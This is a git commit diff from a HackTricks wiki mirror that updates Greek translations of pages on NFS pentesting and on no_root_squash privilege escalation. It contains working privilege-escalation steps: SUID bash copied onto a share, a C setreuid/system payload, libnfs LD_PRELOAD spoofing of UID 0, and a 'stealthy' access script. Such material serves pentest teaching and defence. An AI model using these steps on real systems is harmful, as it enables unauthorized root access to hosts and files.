mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash
This commit is contained in:
parent
2d92bd0593
commit
b4c779b528
@ -1,18 +1,29 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Διαβάστε το _ **/etc/exports** _ αρχείο, αν βρείτε κάποιον φάκελο που είναι ρυθμισμένος ως **no_root_squash**, τότε μπορείτε να **έχετε πρόσβαση** σε αυτόν από **ως πελάτης** και να **γράφετε μέσα** σε αυτόν τον φάκελο **σαν** να ήσασταν ο τοπικός **root** της μηχανής.
|
# Squashing Basic Info
|
||||||
|
|
||||||
**no_root_squash**: Αυτή η επιλογή δίνει βασικά εξουσία στον χρήστη root στον πελάτη να έχει πρόσβαση σε αρχεία στον NFS server ως root. Και αυτό μπορεί να οδηγήσει σε σοβαρές επιπτώσεις ασφαλείας.
|
Το NFS συνήθως (ειδικά σε linux) εμπιστεύεται το `uid` και `gid` που υποδεικνύει ο πελάτης που συνδέεται για να έχει πρόσβαση στα αρχεία (αν δεν χρησιμοποιείται kerberos). Ωστόσο, υπάρχουν κάποιες ρυθμίσεις που μπορούν να οριστούν στον διακομιστή για να **αλλάξουν αυτή τη συμπεριφορά**:
|
||||||
|
|
||||||
**no_all_squash:** Αυτή είναι παρόμοια με την επιλογή **no_root_squash** αλλά εφαρμόζεται σε **μη-ρίζες χρήστες**. Φανταστείτε, έχετε ένα shell ως χρήστης nobody; ελέγξατε το αρχείο /etc/exports; η επιλογή no_all_squash είναι παρούσα; ελέγξτε το αρχείο /etc/passwd; προσομοιώστε έναν μη-ρίζα χρήστη; δημιουργήστε ένα αρχείο suid ως αυτός ο χρήστης (με την τοποθέτηση χρησιμοποιώντας nfs). Εκτελέστε το suid ως χρήστης nobody και γίνετε διαφορετικός χρήστης.
|
- **`all_squash`**: Συμπιέζει όλες τις προσβάσεις χαρτογραφώντας κάθε χρήστη και ομάδα σε **`nobody`** (65534 unsigned / -2 signed). Επομένως, όλοι είναι `nobody` και δεν χρησιμοποιούνται χρήστες.
|
||||||
|
- **`root_squash`/`no_all_squash`**: Αυτό είναι προεπιλεγμένο στο Linux και **συμπιέζει μόνο την πρόσβαση με uid 0 (root)**. Επομένως, οποιοδήποτε `UID` και `GID` εμπιστεύονται αλλά το `0` συμπιέζεται σε `nobody` (έτσι δεν είναι δυνατή η προσποίηση root).
|
||||||
|
- **``no_root_squash`**: Αυτή η ρύθμιση αν ενεργοποιηθεί δεν συμπιέζει ούτε τον χρήστη root. Αυτό σημαίνει ότι αν τοποθετήσετε έναν κατάλογο με αυτή τη ρύθμιση μπορείτε να έχετε πρόσβαση σε αυτόν ως root.
|
||||||
|
|
||||||
|
Στο **/etc/exports** αρχείο, αν βρείτε κάποιον κατάλογο που είναι ρυθμισμένος ως **no_root_squash**, τότε μπορείτε να **έχετε πρόσβαση** σε αυτόν **ως πελάτης** και **να γράψετε μέσα** σε αυτόν τον κατάλογο **σαν** να ήσασταν ο τοπικός **root** της μηχανής.
|
||||||
|
|
||||||
|
Για περισσότερες πληροφορίες σχετικά με το **NFS** ελέγξτε:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
/network-services-pentesting/nfs-service-pentesting.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
# Privilege Escalation
|
# Privilege Escalation
|
||||||
|
|
||||||
## Remote Exploit
|
## Remote Exploit
|
||||||
|
|
||||||
Αν έχετε βρει αυτή την ευπάθεια, μπορείτε να την εκμεταλλευτείτε:
|
Επιλογή 1 χρησιμοποιώντας bash:
|
||||||
|
- **Τοποθετώντας αυτόν τον κατάλογο** σε μια μηχανή πελάτη, και **ως root αντιγράφοντας** μέσα στον τοποθετημένο φάκελο το **/bin/bash** δυαδικό και δίνοντάς του **SUID** δικαιώματα, και **εκτελώντας από τη μηχανή του θύματος** αυτό το δυαδικό bash.
|
||||||
- **Τοποθετώντας αυτόν τον φάκελο** σε μια μηχανή πελάτη, και **ως root αντιγράφοντας** μέσα στον τοποθετημένο φάκελο το **/bin/bash** δυαδικό και δίνοντάς του **SUID** δικαιώματα, και **εκτελώντας από τη μηχανή του θύματος** αυτό το δυαδικό bash.
|
- Σημειώστε ότι για να είστε root μέσα στο NFS share, **`no_root_squash`** πρέπει να είναι ρυθμισμένο στον διακομιστή.
|
||||||
|
- Ωστόσο, αν δεν είναι ενεργοποιημένο, μπορείτε να αναβαθμίσετε σε άλλο χρήστη αντιγράφοντας το δυαδικό στο NFS share και δίνοντάς του την άδεια SUID ως ο χρήστης στον οποίο θέλετε να αναβαθμιστείτε.
|
||||||
```bash
|
```bash
|
||||||
#Attacker, as root user
|
#Attacker, as root user
|
||||||
mkdir /tmp/pe
|
mkdir /tmp/pe
|
||||||
@ -25,7 +36,9 @@ chmod +s bash
|
|||||||
cd <SHAREDD_FOLDER>
|
cd <SHAREDD_FOLDER>
|
||||||
./bash -p #ROOT shell
|
./bash -p #ROOT shell
|
||||||
```
|
```
|
||||||
- **Τοποθετώντας αυτόν τον φάκελο** σε μια μηχανή-πελάτη, και **ως root αντιγράφοντας** μέσα στον τοποθετημένο φάκελο το προετοιμασμένο payload μας που θα εκμεταλλευτεί την άδεια SUID, δίνοντάς του **δικαιώματα SUID**, και **εκτελώντας από τη μηχανή του θύματος** αυτό το δυαδικό (μπορείτε να βρείτε εδώ μερικά [C SUID payloads](payloads-to-execute.md#c)).
|
Option 2 χρησιμοποιώντας κώδικα που έχει μεταγλωττιστεί σε C:
|
||||||
|
- **Μοντάρισμα αυτού του καταλόγου** σε μια μηχανή-πελάτη, και **ως root αντιγραφή** μέσα στον μονταρισμένο φάκελο το μεταγλωττισμένο payload μας που θα εκμεταλλευτεί την άδεια SUID, δίνοντάς του **δικαιώματα SUID**, και **εκτέλεση από τη μηχανή του θύματος** αυτού του δυαδικού (μπορείτε να βρείτε εδώ μερικά [C SUID payloads](payloads-to-execute.md#c)).
|
||||||
|
- Οι ίδιες περιορισμοί όπως πριν
|
||||||
```bash
|
```bash
|
||||||
#Attacker, as root user
|
#Attacker, as root user
|
||||||
gcc payload.c -o payload
|
gcc payload.c -o payload
|
||||||
@ -42,14 +55,18 @@ cd <SHAREDD_FOLDER>
|
|||||||
## Τοπική Εκμετάλλευση
|
## Τοπική Εκμετάλλευση
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Σημειώστε ότι αν μπορείτε να δημιουργήσετε ένα **τούνελ από τη μηχανή σας στη μηχανή του θύματος, μπορείτε ακόμα να χρησιμοποιήσετε την απομακρυσμένη έκδοση για να εκμεταλλευτείτε αυτή την κλιμάκωση προνομίων στέλνοντας τα απαιτούμενα ports**.\
|
> Σημειώστε ότι αν μπορείτε να δημιουργήσετε ένα **τούνελ από τη μηχανή σας στη μηχανή του θύματος μπορείτε ακόμα να χρησιμοποιήσετε την απομακρυσμένη έκδοση για να εκμεταλλευτείτε αυτή την κλιμάκωση προνομίων σήραγγας των απαιτούμενων θυρών**.\
|
||||||
> Το παρακάτω κόλπο ισχύει στην περίπτωση που το αρχείο `/etc/exports` **υποδεικνύει μια IP**. Σε αυτή την περίπτωση **δεν θα μπορείτε να χρησιμοποιήσετε** σε καμία περίπτωση την **απομακρυσμένη εκμετάλλευση** και θα χρειαστεί να **καταχραστείτε αυτό το κόλπο**.\
|
> Το παρακάτω κόλπο ισχύει σε περίπτωση που το αρχείο `/etc/exports` **υποδεικνύει μια διεύθυνση IP**. Σε αυτή την περίπτωση **δεν θα μπορείτε να χρησιμοποιήσετε** σε καμία περίπτωση την **απομακρυσμένη εκμετάλλευση** και θα χρειαστεί να **καταχραστείτε αυτό το κόλπο**.\
|
||||||
> Ένα άλλο απαιτούμενο προαπαιτούμενο για να λειτουργήσει η εκμετάλλευση είναι ότι **η εξαγωγή μέσα στο `/etc/export`** **πρέπει να χρησιμοποιεί την ένδειξη `insecure`**.\
|
> Ένα άλλο απαιτούμενο προαπαιτούμενο για να λειτουργήσει η εκμετάλλευση είναι ότι **η εξαγωγή μέσα στο `/etc/export`** **πρέπει να χρησιμοποιεί την ένδειξη `insecure`**.\
|
||||||
> --_Δεν είμαι σίγουρος αν το `/etc/export` υποδεικνύει μια διεύθυνση IP, αν αυτό το κόλπο θα λειτουργήσει_--
|
> --_Δεν είμαι σίγουρος ότι αν το `/etc/export` υποδεικνύει μια διεύθυνση IP αυτό το κόλπο θα λειτουργήσει_--
|
||||||
|
|
||||||
## Βασικές Πληροφορίες
|
## Βασικές Πληροφορίες
|
||||||
|
|
||||||
Το σενάριο περιλαμβάνει την εκμετάλλευση ενός προσαρτημένου NFS share σε μια τοπική μηχανή, εκμεταλλευόμενος ένα σφάλμα στην προδιαγραφή NFSv3 που επιτρέπει στον πελάτη να καθορίσει το uid/gid του, ενδεχομένως επιτρέποντας μη εξουσιοδοτημένη πρόσβαση. Η εκμετάλλευση περιλαμβάνει τη χρήση του [libnfs](https://github.com/sahlberg
|
Το σενάριο περιλαμβάνει την εκμετάλλευση ενός προσαρτημένου NFS share σε μια τοπική μηχανή, εκμεταλλευόμενος ένα σφάλμα στην προδιαγραφή NFSv3 που επιτρέπει στον πελάτη να καθορίσει το uid/gid του, ενδεχομένως επιτρέποντας μη εξουσιοδοτημένη πρόσβαση. Η εκμετάλλευση περιλαμβάνει τη χρήση του [libnfs](https://github.com/sahlberg/libnfs), μιας βιβλιοθήκης που επιτρέπει την πλαστογράφηση κλήσεων NFS RPC.
|
||||||
|
|
||||||
|
### Συγκέντρωση της Βιβλιοθήκης
|
||||||
|
|
||||||
|
Τα βήματα συγκέντρωσης της βιβλιοθήκης μπορεί να απαιτούν προσαρμογές με βάση την έκδοση του πυρήνα. Σε αυτή την συγκεκριμένη περίπτωση, οι κλήσεις syscalls fallocate είχαν σχολιαστεί. Η διαδικασία συγκέντρωσης περιλαμβάνει τις παρακάτω εντολές:
|
||||||
```bash
|
```bash
|
||||||
./bootstrap
|
./bootstrap
|
||||||
./configure
|
./configure
|
||||||
@ -58,34 +75,29 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib
|
|||||||
```
|
```
|
||||||
### Διεξαγωγή της Εκμετάλλευσης
|
### Διεξαγωγή της Εκμετάλλευσης
|
||||||
|
|
||||||
Η εκμετάλλευση περιλαμβάνει τη δημιουργία ενός απλού προγράμματος C (`pwn.c`) που ανυψώνει τα δικαιώματα σε root και στη συνέχεια εκτελεί ένα shell. Το πρόγραμμα μεταγλωττίζεται και το παραγόμενο δυαδικό αρχείο (`a.out`) τοποθετείται στο κοινόχρηστο φάκελο με suid root, χρησιμοποιώντας το `ld_nfs.so` για να προσποιηθεί το uid στις κλήσεις RPC:
|
Η εκμετάλλευση περιλαμβάνει τη δημιουργία ενός απλού προγράμματος C (`pwn.c`) που ανυψώνει τα δικαιώματα σε root και στη συνέχεια εκτελεί ένα shell. Το πρόγραμμα μεταγλωττίζεται και το προκύπτον δυαδικό αρχείο (`a.out`) τοποθετείται στο κοινόχρηστο με suid root, χρησιμοποιώντας το `ld_nfs.so` για να προσποιηθεί το uid στις κλήσεις RPC:
|
||||||
|
|
||||||
1. **Μεταγλωττίστε τον κώδικα εκμετάλλευσης:**
|
1. **Μεταγλωττίστε τον κώδικα εκμετάλλευσης:**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat pwn.c
|
cat pwn.c
|
||||||
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
|
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
|
||||||
gcc pwn.c -o a.out
|
gcc pwn.c -o a.out
|
||||||
```
|
```
|
||||||
|
2. **Τοποθετήστε την εκμετάλλευση στο κοινόχρηστο και τροποποιήστε τα δικαιώματά της προσποιούμενοι το uid:**
|
||||||
2. **Τοποθετήστε την εκμετάλλευση στο κοινόχρηστο φάκελο και τροποποιήστε τα δικαιώματά της προσποιούμενοι το uid:**
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
|
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
|
||||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
|
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
|
||||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
|
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
|
||||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
||||||
```
|
```
|
||||||
|
|
||||||
3. **Εκτελέστε την εκμετάλλευση για να αποκτήσετε δικαιώματα root:**
|
3. **Εκτελέστε την εκμετάλλευση για να αποκτήσετε δικαιώματα root:**
|
||||||
```bash
|
```bash
|
||||||
/mnt/share/a.out
|
/mnt/share/a.out
|
||||||
#root
|
#root
|
||||||
```
|
```
|
||||||
|
## Bonus: NFShell για Στεγανή Πρόσβαση σε Αρχεία
|
||||||
|
|
||||||
## Μπόνους: NFShell για Διακριτική Πρόσβαση σε Αρχεία
|
Μόλις αποκτηθεί η πρόσβαση root, για να αλληλεπιδράσετε με το NFS share χωρίς να αλλάξετε την ιδιοκτησία (για να αποφύγετε την αφή ίχνους), χρησιμοποιείται ένα σενάριο Python (nfsh.py). Αυτό το σενάριο προσαρμόζει το uid ώστε να ταιριάζει με αυτό του αρχείου που προσπελάζεται, επιτρέποντας την αλληλεπίδραση με αρχεία στο share χωρίς προβλήματα άδειας:
|
||||||
|
|
||||||
Μόλις αποκτηθεί η πρόσβαση root, για να αλληλεπιδράσετε με το κοινόχρηστο NFS χωρίς να αλλάξετε την ιδιοκτησία (για να αποφευχθεί η αφή ίχνους), χρησιμοποιείται ένα σενάριο Python (nfsh.py). Αυτό το σενάριο προσαρμόζει το uid ώστε να ταιριάζει με αυτό του αρχείου που προσπελάζεται, επιτρέποντας την αλληλεπίδραση με αρχεία στο κοινόχρηστο φάκελο χωρίς προβλήματα δικαιωμάτων:
|
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
# script from https://www.errno.fr/nfs_privesc.html
|
# script from https://www.errno.fr/nfs_privesc.html
|
||||||
|
|||||||
@ -4,29 +4,66 @@
|
|||||||
|
|
||||||
## **Βασικές Πληροφορίες**
|
## **Βασικές Πληροφορίες**
|
||||||
|
|
||||||
**NFS** είναι ένα σύστημα σχεδιασμένο για **client/server** που επιτρέπει στους χρήστες να έχουν πρόσβαση σε αρχεία μέσω ενός δικτύου, σαν να βρίσκονταν αυτά τα αρχεία σε τοπικό κατάλογο.
|
**NFS** είναι ένα σύστημα σχεδιασμένο για **client/server** που επιτρέπει στους χρήστες να έχουν απρόσκοπτη πρόσβαση σε αρχεία μέσω ενός δικτύου, σαν να βρίσκονταν αυτά τα αρχεία σε τοπικό κατάλογο.
|
||||||
|
|
||||||
Ένα αξιοσημείωτο χαρακτηριστικό αυτού του πρωτοκόλλου είναι η έλλειψη ενσωματωμένων **μηχανισμών αυθεντικοποίησης** ή **εξουσιοδότησης**. Αντίθετα, η εξουσιοδότηση βασίζεται σε **πληροφορίες συστήματος αρχείων**, με τον διακομιστή να έχει την ευθύνη να μεταφράσει με ακρίβεια τις **παρεχόμενες από τον πελάτη πληροφορίες χρήστη** στη απαιτούμενη **μορφή εξουσιοδότησης** του συστήματος αρχείων, κυρίως ακολουθώντας τη **σύνταξη UNIX**.
|
|
||||||
|
|
||||||
Η αυθεντικοποίηση συνήθως βασίζεται σε **ταυτοχρονιστές `UID`/`GID` και μέλη ομάδων**. Ωστόσο, προκύπτει μια πρόκληση λόγω της πιθανής ασυμφωνίας στις **χαρτογραφήσεις `UID`/`GID`** μεταξύ πελατών και διακομιστών, αφήνοντας περιθώριο για επιπλέον επαλήθευση από τον διακομιστή. Ως εκ τούτου, το πρωτόκολλο είναι καλύτερα κατάλληλο για χρήση εντός **έμπιστων δικτύων**, δεδομένης της εξάρτησής του από αυτή τη μέθοδο αυθεντικοποίησης.
|
|
||||||
|
|
||||||
**Προεπιλεγμένη θύρα**: 2049/TCP/UDP (εκτός από την έκδοση 4, χρειάζεται μόνο TCP ή UDP).
|
**Προεπιλεγμένη θύρα**: 2049/TCP/UDP (εκτός από την έκδοση 4, χρειάζεται μόνο TCP ή UDP).
|
||||||
```
|
```
|
||||||
2049/tcp open nfs 2-3 (RPC #100003
|
2049/tcp open nfs 2-3 (RPC #100003
|
||||||
```
|
```
|
||||||
|
### Authentication
|
||||||
|
|
||||||
|
Ένα αξιοσημείωτο χαρακτηριστικό αυτού του πρωτοκόλλου είναι η συνήθης έλλειψη ενσωματωμένων **μηχανισμών αυθεντικοποίησης** ή **εξουσιοδότησης**. Αντίθετα, η εξουσιοδότηση βασίζεται σε **πληροφορίες συστήματος αρχείων**, με τον διακομιστή να έχει την ευθύνη να μεταφράσει με ακρίβεια τις **παρεχόμενες από τον πελάτη πληροφορίες χρήστη** στη απαιτούμενη **μορφή εξουσιοδότησης** του συστήματος αρχείων, ακολουθώντας κυρίως τη **σύνταξη UNIX**.
|
||||||
|
|
||||||
|
Η αυθεντικοποίηση συνήθως βασίζεται σε **αναγνωριστικά `UID`/`GID` UNIX και μέλη ομάδων**. Ωστόσο, προκύπτει μια πρόκληση λόγω της πιθανής ασυμφωνίας στις **χαρτογραφήσεις `UID`/`GID`** μεταξύ πελατών και διακομιστών, αφήνοντας κανένα περιθώριο για επιπλέον επαλήθευση από τον διακομιστή. Επιπλέον, αυτές οι λεπτομέρειες αποστέλλονται από τον πελάτη και εμπιστεύονται από τον διακομιστή, οπότε ένας κακόβουλος πελάτης θα μπορούσε δυνητικά να **παριστάνει έναν άλλο χρήστη στέλνοντας πιο προνομιούχους `uid` και `gid`.
|
||||||
|
|
||||||
|
**Ωστόσο, σημειώστε ότι από προεπιλογή δεν είναι δυνατή η μίμηση του `UID` 0 (root) χρησιμοποιώντας NFS. Περισσότερα για αυτό στην ενότητα squashing.**
|
||||||
|
|
||||||
|
#### Hosts
|
||||||
|
|
||||||
|
Για καλύτερη (ή κάποια) εξουσιοδότηση, μπορείτε να καθορίσετε τους **hosts** που μπορούν να έχουν πρόσβαση στο NFS share. Αυτό μπορεί να γίνει στο αρχείο Linux `/etc/exports`. Για παράδειγμα:
|
||||||
|
```
|
||||||
|
/PATH/TO/EXPORT CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ...
|
||||||
|
/media/disk/share 192.168.2.123(rw,sec=krb5p:krb5i)
|
||||||
|
```
|
||||||
|
As you can see, it allows to configure a specific **IP** or **hostname** to access the share. Only that address will be able to access the share.
|
||||||
|
|
||||||
### Versions
|
### Versions
|
||||||
|
|
||||||
- **NFSv2**: Αυτή η έκδοση αναγνωρίζεται για την ευρεία συμβατότητά της με διάφορα συστήματα, επισημαίνοντας τη σημασία της με τις αρχικές λειτουργίες κυρίως μέσω UDP. Όντας η **παλαιότερη** στη σειρά, έθεσε τα θεμέλια για μελλοντικές εξελίξεις.
|
- **NFSv2**: Αυτή η έκδοση αναγνωρίζεται για την ευρεία συμβατότητά της με διάφορα συστήματα, επισημαίνοντας τη σημασία της με τις αρχικές λειτουργίες κυρίως μέσω UDP. Όντας η **παλαιότερη** στη σειρά, έθεσε τα θεμέλια για μελλοντικές εξελίξεις.
|
||||||
|
|
||||||
- **NFSv3**: Εισήχθη με μια σειρά βελτιώσεων, το NFSv3 επεκτάθηκε σε σχέση με τον προκάτοχό του υποστηρίζοντας μεταβλητά μεγέθη αρχείων και προσφέροντας βελτιωμένους μηχανισμούς αναφοράς σφαλμάτων. Παρά τις προόδους του, αντιμετώπισε περιορισμούς στην πλήρη οπισθοδρομική συμβατότητα με πελάτες NFSv2.
|
- **NFSv3**: Εισήχθη με μια σειρά βελτιώσεων, το NFSv3 επεκτάθηκε σε σχέση με τον προκάτοχό του υποστηρίζοντας μεταβλητά μεγέθη αρχείων και προσφέροντας βελτιωμένους μηχανισμούς αναφοράς σφαλμάτων. Παρά τις προόδους του, αντιμετώπισε περιορισμούς στην πλήρη οπίσθια συμβατότητα με πελάτες NFSv2.
|
||||||
|
|
||||||
- **NFSv4**: Μια ορόσημο έκδοση στη σειρά NFS, το NFSv4 παρουσίασε μια σειρά χαρακτηριστικών σχεδιασμένων να εκσυγχρονίσουν την κοινή χρήση αρχείων μέσω δικτύων. Σημαντικές βελτιώσεις περιλαμβάνουν την ενσωμάτωση του Kerberos για **υψηλή ασφάλεια**, τη δυνατότητα διέλευσης τειχών προστασίας και λειτουργίας μέσω του Διαδικτύου χωρίς την ανάγκη για portmappers, υποστήριξη για Λίστες Ελέγχου Πρόσβασης (ACLs) και την εισαγωγή καταστάσεων λειτουργίας. Οι βελτιώσεις στην απόδοση και η υιοθέτηση ενός πρωτοκόλλου με κατάσταση διακρίνουν το NFSv4 ως μια καθοριστική πρόοδο στις τεχνολογίες κοινής χρήσης δικτυακών αρχείων.
|
- **NFSv4**: Μια ορόσημο έκδοση στη σειρά NFS, το NFSv4 παρουσίασε μια σειρά χαρακτηριστικών σχεδιασμένων να εκσυγχρονίσουν την κοινή χρήση αρχείων μέσω δικτύων. Σημαντικές βελτιώσεις περιλαμβάνουν την ενσωμάτωση του Kerberos για **υψηλή ασφάλεια**, τη δυνατότητα διέλευσης από τείχη προστασίας και λειτουργίας μέσω του Διαδικτύου χωρίς την ανάγκη για portmappers, υποστήριξη για Λίστες Ελέγχου Πρόσβασης (ACLs) και την εισαγωγή λειτουργιών βασισμένων σε κατάσταση. Οι βελτιώσεις απόδοσης και η υιοθέτηση ενός πρωτοκόλλου με κατάσταση διακρίνουν το NFSv4 ως μια καθοριστική πρόοδο στις τεχνολογίες κοινής χρήσης αρχείων δικτύου.
|
||||||
|
- Σημειώστε ότι είναι πολύ περίεργο να βρείτε έναν υπολογιστή Linux NFS που να υποστηρίζει την αυθεντικοποίηση kerberos.
|
||||||
|
|
||||||
Κάθε έκδοση του NFS έχει αναπτυχθεί με σκοπό να καλύψει τις εξελισσόμενες ανάγκες των δικτυακών περιβαλλόντων, προοδευτικά ενισχύοντας την ασφάλεια, τη συμβατότητα και την απόδοση.
|
Κάθε έκδοση του NFS έχει αναπτυχθεί με σκοπό να καλύψει τις εξελισσόμενες ανάγκες των δικτυακών περιβαλλόντων, προοδευτικά ενισχύοντας την ασφάλεια, τη συμβατότητα και την απόδοση.
|
||||||
|
|
||||||
|
### Squashing
|
||||||
|
|
||||||
|
Όπως αναφέρθηκε προηγουμένως, το NFS συνήθως εμπιστεύεται το `uid` και το `gid` του πελάτη για να έχει πρόσβαση στα αρχεία (αν δεν χρησιμοποιείται kerberos). Ωστόσο, υπάρχουν κάποιες ρυθμίσεις που μπορούν να οριστούν στον διακομιστή για να **αλλάξουν αυτή τη συμπεριφορά**:
|
||||||
|
|
||||||
|
- **all_squash**: Συμπιέζει όλες τις προσβάσεις χαρτογραφώντας κάθε χρήστη και ομάδα σε **`nobody`** (65534 unsigned / -2 signed). Επομένως, όλοι είναι `nobody` και δεν χρησιμοποιούνται χρήστες.
|
||||||
|
- **root_squash/no_all_squash**: Αυτό είναι προεπιλεγμένο σε Linux και **συμπιέζει μόνο την πρόσβαση με uid 0 (root)**. Επομένως, οποιοδήποτε `UID` και `GID` εμπιστεύονται αλλά το `0` συμπιέζεται σε `nobody` (έτσι δεν είναι δυνατή η προσποίηση root).
|
||||||
|
- **no_root_squash**: Αυτή η ρύθμιση αν ενεργοποιηθεί δεν συμπιέζει ούτε τον χρήστη root. Αυτό σημαίνει ότι αν τοποθετήσετε έναν κατάλογο με αυτή τη ρύθμιση μπορείτε να έχετε πρόσβαση σε αυτόν ως root.
|
||||||
|
|
||||||
|
### Subtree check
|
||||||
|
|
||||||
|
Διαθέσιμο μόνο σε Linux. man(5) exports λέει: "Αν ένα υποκατάλογο ενός συστήματος αρχείων εξάγεται, αλλά ολόκληρο το σύστημα αρχείων δεν είναι, τότε κάθε φορά που φτάνει ένα αίτημα NFS, ο διακομιστής πρέπει να ελέγξει όχι μόνο ότι το προσβαλλόμενο αρχείο είναι στο κατάλληλο σύστημα αρχείων (που είναι εύκολο) αλλά και ότι είναι στο εξαγόμενο δέντρο (που είναι πιο δύσκολο). Αυτός ο έλεγχος ονομάζεται έλεγχος υποδέντρου."
|
||||||
|
|
||||||
|
Στο Linux, η **λειτουργία `subtree_check` είναι απενεργοποιημένη** από προεπιλογή.
|
||||||
|
|
||||||
## Enumeration
|
## Enumeration
|
||||||
|
|
||||||
### Useful nmap scripts
|
### Showmount
|
||||||
|
|
||||||
|
Αυτό μπορεί να χρησιμοποιηθεί για να **πάρετε πληροφορίες από έναν διακομιστή NFSv3**, όπως η λίστα των **exports**, ποιος είναι **επιτρεπτός να έχει πρόσβαση** σε αυτές τις εξαγωγές και ποιοι πελάτες είναι συνδεδεμένοι (που μπορεί να είναι ανακριβές αν ένας πελάτης αποσυνδεθεί χωρίς να ενημερώσει τον διακομιστή).
|
||||||
|
Στους **NFSv4 οι πελάτες απλά έχουν άμεση πρόσβαση στο /export** και προσπαθούν να αποκτήσουν πρόσβαση σε εξαγωγές από εκεί, αποτυγχάνοντας αν είναι μη έγκυρες ή μη εξουσιοδοτημένες για οποιονδήποτε λόγο.
|
||||||
|
|
||||||
|
Αν εργαλεία όπως το `showmount` ή τα modules του Metasploit δεν δείχνουν πληροφορίες από μια θύρα NFS, είναι πιθανώς ένας διακομιστής NFSv4 που δεν υποστηρίζει την έκδοση 3.
|
||||||
|
```bash
|
||||||
|
showmount -e <IP>
|
||||||
|
```
|
||||||
|
### Χρήσιμα σενάρια nmap
|
||||||
```bash
|
```bash
|
||||||
nfs-ls #List NFS exports and check permissions
|
nfs-ls #List NFS exports and check permissions
|
||||||
nfs-showmount #Like showmount -e
|
nfs-showmount #Like showmount -e
|
||||||
@ -36,9 +73,13 @@ nfs-statfs #Disk statistics and info from NFS share
|
|||||||
```bash
|
```bash
|
||||||
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
|
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
|
||||||
```
|
```
|
||||||
### Mounting
|
### nfs_analyze
|
||||||
|
|
||||||
Για να γνωρίζετε **ποιον φάκελο** έχει ο διακομιστής **διαθέσιμο** για να τον προσαρτήσετε, μπορείτε να τον ρωτήσετε χρησιμοποιώντας:
|
Αυτό το εργαλείο από [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) μπορεί να χρησιμοποιηθεί για να αποκτήσει πολλά δεδομένα από έναν NFS server όπως **mounts**, υποστηριζόμενες εκδόσεις NFS, συνδεδεμένες IPs, και ακόμη και αν είναι δυνατό να **ξεφύγεις από τις εξαγωγές** σε άλλους φακέλους στο FS ή **αν είναι ενεργοποιημένο το `no_root_squash`**.
|
||||||
|
|
||||||
|
## Mounting
|
||||||
|
|
||||||
|
Για να μάθεις **ποιος φάκελος** είναι **διαθέσιμος** από τον server για να τον κάνεις mount, μπορείς να τον ρωτήσεις χρησιμοποιώντας:
|
||||||
```bash
|
```bash
|
||||||
showmount -e <IP>
|
showmount -e <IP>
|
||||||
```
|
```
|
||||||
@ -53,22 +94,47 @@ mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
|
|||||||
mkdir /mnt/new_back
|
mkdir /mnt/new_back
|
||||||
mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
||||||
```
|
```
|
||||||
## Permissions
|
## Επιθέσεις
|
||||||
|
|
||||||
Αν τοποθετήσετε έναν φάκελο που περιέχει **αρχεία ή φακέλους προσβάσιμους μόνο από κάποιον χρήστη** (με **UID**). Μπορείτε να **δημιουργήσετε** **τοπικά** έναν χρήστη με αυτό το **UID** και χρησιμοποιώντας αυτόν τον **χρήστη** θα μπορείτε να **έχετε πρόσβαση** στο αρχείο/φάκελο.
|
### Εμπιστοσύνη σε UID και GID
|
||||||
|
|
||||||
## NSFShell
|
Φυσικά, το μόνο πρόβλημα εδώ είναι ότι από προεπιλογή δεν είναι δυνατόν να προσποιηθείτε τον root (`UID` 0). Ωστόσο, είναι δυνατόν να προσποιηθείτε οποιονδήποτε άλλο χρήστη ή αν είναι ενεργοποιημένο το `no_root_squash`, μπορείτε επίσης να προσποιηθείτε τον root.
|
||||||
|
|
||||||
Για να καταγράψετε εύκολα, να τοποθετήσετε και να αλλάξετε το UID και GID για να έχετε πρόσβαση σε αρχεία μπορείτε να χρησιμοποιήσετε [nfsshell](https://github.com/NetDirect/nfsshell).
|
